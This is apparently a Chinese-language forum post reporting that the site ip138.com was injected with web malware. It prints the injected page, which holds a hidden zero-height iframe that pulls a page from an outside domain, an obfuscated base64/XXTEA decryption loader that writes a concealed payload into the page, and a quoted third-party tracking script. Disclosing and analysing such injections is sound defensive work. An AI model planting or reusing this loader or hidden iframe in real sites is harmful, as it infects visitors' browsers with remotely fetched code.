[url]www.ip138.com[/url]网站被人挂马。
 
 
 
28.htm内容如下:
 <br>
<br>
<Iframe src="[url]http://zlwrnm1.cn/a254/fxx.htm[/url]" width=100 height=0></Iframe>
<br>
<br>
<br>
<br>
<Script language="javascript" type="text/javascript" src="[url]http://js.users.51.la/2100339.js[/url]"></script>
该网页下的文件
<script language =javascript>
function utf8to16(str){
var char3,out,i,len,char2,c;
out=[];i=0;
len=str["\x6c\x65\x6e\x67\x74\x68"];
 while(i<len){
  c=str.charCodeAt(i++);
  switch(c>>4)
  {
   case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:out[out.length]=str.charAt(i-1);
   break;
   case 12:case 13:char2=str.charCodeAt(i++);
   var fuck="SB";
   out[out.length]=String.fromCharCode(((c&0x1F)<<6)|(char2&0x3F));
   break;
   case 14:char2=str.charCodeAt(i++);
   char3=str.charCodeAt(i++);
   out[out.length]=String.fromCharCode(((c&0x0F)<<12)|((char2&0x3F)<<6)|((char3&0x3F)<<0));
   break;
   
  }
 }
 return out.join('');
 
}
var base64DecodeChars=new Array(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);
function base64decode(str)
{
 var c1,c2,c3,c4;
 var i,len,out;
 var fuckkavxd="SB";
 len=str.length;
 i=0;
 out="";
 while(i<len)
 {
  do
  {
   c1=base64DecodeChars[str.charCodeAt(i++)&0xff]
  }while(i<len&&c1==-1);
  if(c1==-1)
  break;
  do
  {
   c2=base64DecodeChars[str.charCodeAt(i++)&0xff]
  }while(i<len&&c2==-1);
  if(c2==-1)
  break;
  out+=String.fromCharCode((c1<<2)|((c2&0x30)>>4));
  do
  {
   c3=str.charCodeAt(i++)&0xff;
   if(c3==61)
   return out;
   c3=base64DecodeChars[c3]
  }while(i<len&&c3==-1);
  if(c3==-1)
  break;
  out+=String.fromCharCode(((c2&0XF)<<4)|((c3&0x3C)>>2));
  do
  {
   c4=str.charCodeAt(i++)&0xff;
   if(c4==61)
   return out;
   c4=base64DecodeChars[c4]
  }while(i<len&&c4==-1);
  if(c4==-1)
  break;
  out+=String.fromCharCode(((c3&0x03)<<6)|c4)
 }
 return out
}
function long2str(v,w){
 var vl=v.length;
 var sl=v[vl-1]&0xffffffff;
 for(var i=0;i<vl;i++)
 {v[i]=String.fromCharCode(v[i]&0xff,v[i]>>>8&0xff,v[i]>>>16&0xff,v[i]>>>24&0xff);
  
 }
 if(w){
  return v.join('').substring(0,sl);
  
 }
 else {
  return v.join('');
  
 }
}
function str2long(s,w){
 var len=s.length;
 var v=[];
 for(var i=0;i<len;i+=4)
 {
  v[i>>2]=s.charCodeAt(i)|s.charCodeAt(i+1)<<8|s.charCodeAt(i+2)<<16|s.charCodeAt(i+3)<<24;
  
 }
 if(w){
  v[v.length]=len;
  
 }
 return v;
 
}
function xxtea_decrypt(str,key){
 if(str==""){
  return "";
  
 }
 var v=str2long(str,false);
 var k=str2long(key,false);
 var n=v.length-1;
 var z=v[n-1],y=v[0],delta=0x9E3779B9;
 var mx,e,q=Math.floor(6+52/(n+1)),sum=q*delta&0xffffffff;
 while(sum!=0){
  e=sum>>>2&3;
  for(var p=n;p>0;p--){
   z=v[p-1];
   mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z);
   y=v[p]=v[p]-mx&0xffffffff;
   
  }
  z=v[n];
  mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z);
  y=v[0]=v[0]-mx&0xffffffff;
  sum=sum-delta&0xffffffff;
  
 }
 return long2str(v,true);
 
}
t="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"+"/tYE8"+"xLoD"+"fU"+"iB"+"Lj"+"nr"+"G5"+"Zx"+"Zh"+"vq"+"Lp"+"i4"+"xufMMDpGaB230cM9BXB/fj6/HJr5aAyB5HA21Lg2PJkrvjUs=";var fucknod="sb";
t=utf8to16(xxtea_decrypt(base64decode(t),'dadong1'));document.write(t);document.write("");var jQwKgA1="\x66\x64\x73\x61\x63\x76\x73";
</script>
其中js文件内容:
// A Popular Free Statistics Service for 100 000+ Webmasters.
window.onerror=function(){return true};
document.write ('<script>var a0339tf="51la";var a0339pu="";var a0339pf="51la";var a0339su=window.location;var a0339sf=document.referrer;var a0339of="";var a0339op="";var a0339ops=1;var a0339ot=1;var a0339d=new Date();var a0339color="";if (navigator.appName=="Netscape"){a0339color=screen.pixelDepth;} else {a0339color=screen.colorDepth;}<\/script><script>a0339tf=top.document.referrer;<\/script><script>a0339pu =window.parent.location;<\/script><script>a0339pf=window.parent.document.referrer;<\/script><script>a0339ops=document.cookie.match(new RegExp("(^| )AJSTAT_ok_pages=([^;]*)(;|$)"));a0339ops=(a0339ops==null)?1: (parseInt(unescape((a0339ops)[2]))+1);var a0339oe =new Date();a0339oe.setTime(a0339oe.getTime()+60*60*1000);document.cookie="AJSTAT_ok_pages="+a0339ops+ ";path=/;expires="+a0339oe.toGMTString();a0339ot=document.cookie.match(new RegExp("(^| )AJSTAT_ok_times=([^;]*)(;|$)"));if(a0339ot==null){a0339ot=1;}else{a0339ot=parseInt(unescape((a0339ot)[2])); a0339ot=(a0339ops==1)?(a0339ot+1):(a0339ot);}a0339oe.setTime(a0339oe.getTime()+365*24*60*60*1000);document.cookie="AJSTAT_ok_times="+a0339ot+";path=/;expires="+a0339oe.toGMTString();<\/script><script>a0339of=a0339sf;if(a0339pf!=="51la"){a0339of=a0339pf;}if(a0339tf!=="51la"){a0339of=a0339tf;}a0339op=a0339pu;try{lainframe}catch(e){a0339op=a0339su;}document.write(\'<img style="width:0px;height:0px" src="[url]http://vip2.51.la/go.asp?we=A-Free-Service-for-Webmasters&svid=6&id=2100339&tpages=[/url]\'+a0339ops+\'&ttimes=\'+a0339ot+\'&tzone=\'+(0-a0339d.getTimezoneOffset()/60)+\'&tcolor=\'+a0339color+\'&sSize=\'+screen.width+\',\'+screen.height+\'&referrer=\'+escape(a0339of)+\'&vpage=\'+escape(a0339op)+\'" \/>\');<\/script>');